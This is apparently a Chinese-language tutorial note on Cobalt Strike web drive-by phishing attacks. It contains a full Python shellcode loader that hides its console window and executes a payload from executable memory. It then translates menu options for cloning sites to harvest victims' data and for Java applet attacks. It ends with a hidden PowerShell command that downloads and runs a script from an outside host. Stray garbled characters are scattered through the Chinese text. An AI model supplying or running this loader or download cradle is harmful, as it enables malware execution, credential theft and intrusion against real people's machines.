https://www.bilibili.com/video/BV1P64y1f7e1?p=6
Cobalt Strike Web Drive-By web釣魚攻擊
在這里補充一個上節(jié)課的新的知識點幸逆，如何使用python語言的payload 加載器去攻擊
# length: 894 bytes
from ctypes import *
import ctypes
buf = "" #這里填寫payload
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
buf = c_char_p(buffer)
size = len(buffer)
addr = libc.valloc(size)
addr = c_void_p(addr)
if 0 == addr:
raise Exception("Failed to allocate memory")
memmove(addr, buf, size)
if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
raise Exception("Failed to set protection on buffer")
return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
if 1:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
buf,
ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
模塊介紹
翻譯
這個菜單的中英文翻譯
Manage 對開啟的web服務(wù)進行管理；
Clone Site 克隆網(wǎng)站，可以記錄受害者提交的數(shù)據(jù)；
Host File 提供一個文件下載猪半，可以修改Mime信息催什；
Scripted Web Delivery 類似于msf 的web_delivery ;
Signed Applet Attack 使用java自簽名的程序進行釣魚攻擊;
Smart Applet Attack 自動檢測java版本并進行攻擊，針對Java 1.6.0_45以下以及Java 1.7.0_21以下版本鸦列；
System Profiler 用來獲取一些系統(tǒng)信息妥色，比如系統(tǒng)版本搪花，F(xiàn)lash版本，瀏覽器版本等嘹害。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.149.208:80/test'))"
